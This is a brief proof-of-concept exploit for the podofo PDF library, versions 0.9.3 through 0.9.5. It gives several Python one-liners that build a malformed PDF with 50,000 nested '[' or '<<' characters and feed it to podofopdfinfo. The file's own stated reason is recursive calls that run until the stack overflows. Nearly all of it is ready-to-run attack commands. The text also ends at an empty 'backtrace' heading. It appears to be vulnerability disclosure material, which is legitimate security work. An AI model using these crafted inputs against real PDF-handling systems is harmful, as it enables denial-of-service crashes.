exploit
-------------
podofo 0.9.3 (tested on ubuntu 16.04 32 bit)
$ python -c 'print "%PDF- 1 0 obj<<" + "["*50000' > poc.pdf;podofopdfinfo poc.pdf
podofo 0.9.4 (tested on debian 9.4 64 bit)
$ python -c 'print "%PDF- 1 0 obj" + "["*50000 + "startxref 5%%EOF"' > poc.pdf ;podofopdfinfo poc.pdf
podofo 0.9.5 (tested on ubuntu 18.04 64 bit)
$ python -c 'print "%PDF- 1 0 obj" + "["*50000 + "startxref 5%%EOF"' > poc.pdf ;podofopdfinfo poc.pdf
Note: Also you can use "<<" characters;
$ python -c 'print "%PDF- 1 0 obj" + "<<"*50000 + "startxref 5%%EOF"' > poc.pdf ;podofopdfinfo poc.pdf
reason
-----------
Recursive functions call to each others, until the stack overflow.
backtrace
-----------
